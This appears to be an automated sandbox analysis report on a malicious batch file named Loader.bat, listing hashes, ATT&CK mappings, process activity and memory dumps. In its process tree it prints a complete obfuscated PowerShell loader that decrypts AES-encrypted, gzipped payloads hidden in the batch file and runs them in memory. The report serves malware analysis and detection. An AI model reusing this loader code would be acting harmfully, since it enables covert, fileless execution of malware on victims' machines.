e5f8aa6ad4a268a2d8d5a7bf151dd9df36cf5a9fdcd76ee1bcfc357a245c3d2e

General

Target

Loader.bat
Size

422KB
MD5

e87e3e968e80526bc362bfdd1e4bf266
SHA1

4fee6fa14c33b6de899cfd3cd9dc8fc9de2a1a7c
SHA256

e5f8aa6ad4a268a2d8d5a7bf151dd9df36cf5a9fdcd76ee1bcfc357a245c3d2e
SHA512

edd5bbcc9b42ff5535fc65adc28277255deffeaa7c1d8b4d4e0599a1d9df15f700a30a052ae991069f9bd3d2b9eede700fd202b282ebc8358c75d9175cfc8abd
SSDEEP

12288:xTsiBZqGoi2wPrgGoBUUmCXb0imm9dJe/PN:tsi+GoQjUvGHN

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2556 powershell.exe
2136 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2136 powershell.exe
2556 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2136 powershell.exe
Token: SeDebugPrivilege 2556 powershell.exe

pid	process
2556	powershell.exe
2136	powershell.exe

pid	process
2136	powershell.exe
2556	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2336 wrote to memory of 2136	2336	cmd.exe	powershell.exe
PID 2336 wrote to memory of 2136	2336	cmd.exe	powershell.exe
PID 2336 wrote to memory of 2136	2336	cmd.exe	powershell.exe
PID 2336 wrote to memory of 2556	2336	cmd.exe	powershell.exe
PID 2336 wrote to memory of 2556	2336	cmd.exe	powershell.exe
PID 2336 wrote to memory of 2556	2336	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "& {}"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SlSTUHH3vjTFF6yZmXkQecEZjJqcfO2AzXY6guJbvCw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/SHhPUHLYvn7pQ31hTUN8w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GXmwo=New-Object System.IO.MemoryStream(,$param_var); $NERXN=New-Object System.IO.MemoryStream; $AFVdE=New-Object System.IO.Compression.GZipStream($GXmwo, [IO.Compression.CompressionMode]::Decompress); $AFVdE.CopyTo($NERXN); $AFVdE.Dispose(); $GXmwo.Dispose(); $NERXN.Dispose(); $NERXN.ToArray();}function execute_function($param_var,$param2_var){ $gNhZA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VuTFK=$gNhZA.EntryPoint; $VuTFK.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Loader.bat';$rxwmR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Loader.bat').Split([Environment]::NewLine);foreach ($pGzCS in $rxwmR) { if ($pGzCS.StartsWith(':: ')) { $GlIcB=$pGzCS.Substring(3); break; }}$payloads_var=[string[]]$GlIcB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
322a9e28b34de8d50c4f7ebca3d3a7a0

SHA1
11b7623f19c5bb7ea718e88e2f068dfbe35a9169

SHA256
078d91f7ae3ab1977ddccaf4eba4df4e68fdd5e607a3dd3a8d3e0625e43711f9

SHA512
18d788bc5038ecb0e3d2e285c43bdb00c9692a730f0374ca4ff9ce147739703a5320e4a0b090d9709cf35234bb5b1da60fb52f70ba2531541924b39875f8c2b4

Download Submit
memory/2136-4-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download
memory/2136-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2136-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2136-8-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-7-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-9-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-10-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-11-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2556-17-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2556-18-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing